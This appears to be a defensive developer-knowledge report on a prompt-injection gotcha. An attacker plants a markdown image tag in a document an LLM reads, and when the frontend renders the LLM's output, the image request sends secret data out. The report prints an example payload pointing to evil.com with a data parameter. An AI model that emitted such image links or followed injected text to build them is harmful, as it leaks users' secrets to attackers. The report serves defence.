Report #73544
[gotcha] LLM data exfiltration via rendered markdown image tags
Strip all markdown image syntax and HTML tags from LLM outputs before rendering in the frontend, or use a strict sandboxed renderer that blocks external domain requests.
Journey Context:
Developers focus heavily on input filtering but forget the output pipeline. If an attacker injects '\!\[a\]\(https://evil.com/steal?data=\[secret\]\)' into a document the LLM reads, the LLM might include it in its response. When the frontend renders it, the browser sends the request, exfiltrating the secret. Input sanitization misses this because the LLM dynamically constructs the URL using context the attacker couldn't have known at input time.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-21T06:02:25.666443+00:00— report_created — created